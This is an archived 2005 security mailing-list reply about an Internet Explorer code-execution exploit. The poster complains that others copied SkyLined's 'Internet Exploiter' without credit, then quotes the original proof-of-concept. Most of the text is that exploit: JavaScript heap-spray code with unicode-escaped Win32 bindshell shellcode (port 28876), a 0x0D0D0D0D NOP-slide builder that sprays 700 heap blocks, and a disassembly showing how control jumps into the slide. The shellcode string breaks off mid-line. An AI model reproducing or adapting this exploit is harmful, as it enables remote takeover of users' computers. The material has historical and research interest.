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Re: Microsoft Internet Explorer "javaprxy.dll" Code Execution Exploit

Date: Tue Jul 05 2005 - 12:11:31 CDT

Although I respect these Frenchies for their "attempt" to make the Internet safer, I denounce them for failing miserably. I think it's worth noting that they stole Skylined's code, stripped it of the GPL, the comments, and the credit, only to make themselves look better. This is the original script:


    ,sSSSs, Ss, Internet Exploiter v0.1
   SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit
  iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
  YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
  `"YSSP" sSS <skylinededup.tudelft.nl>

  This program is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License version 2, 1991 as published by
  the Free Software Foundation.

  This program is distributed in the hope that it will be useful, but WITHOUT
  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE. See the GNU General Public License for more

  A copy of the GNU General Public License can be found at:
  or you can write to:
    Free Software Foundation, Inc.
    59 Temple Place - Suite 330
    Boston, MA 02111-1307

  <SCRIPT language="javascript">
    // Win32 MSIE exploit helper script, creates a lot of nopslides to land in
    // and/or use as return address. Thanks to blazde for feedback and idears.

    // Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and
    // others for inspiration and borrowed code.
    shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufe
    // Nopslide will contain these bytes:
    bigblock = unescape("%u0D0D%u0D0D");
    // Heap blocks in IE have 20 dwords as header
    headersize = 20;
    // This is all very 1337 code to create a nopslide that will fit exactly
    // between the the header and the shellcode in the heap blocks we want.
    // The heap blocks are 0x40000 dwords big, I can't be arsed to write good
    // documentation for this.
    slackspace = headersize+shellcode.length
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;
    // And now we can create the heap blocks, we'll create 700 of them to spray
    // enough memory to be sure enough that we've got one at 0x0D0D0D0D
    memory = new Array();
    for (i=0;i<700;i++) memory[i] = block + shellcode;
    The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
    7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
    [0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
    7178EC04 68 847B7071 PUSH 71707B84
    7178EC09 50 PUSH EAX
    Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
    We land inside one of the nopslides and slide on down to the shellcode.

  <!-- Heap corruption issue here -->

You can find Skylined's site as well as his heap corruption exploitation script (called Internet Exploiter) at http://www.edup.tudelft.nl/~bjwever/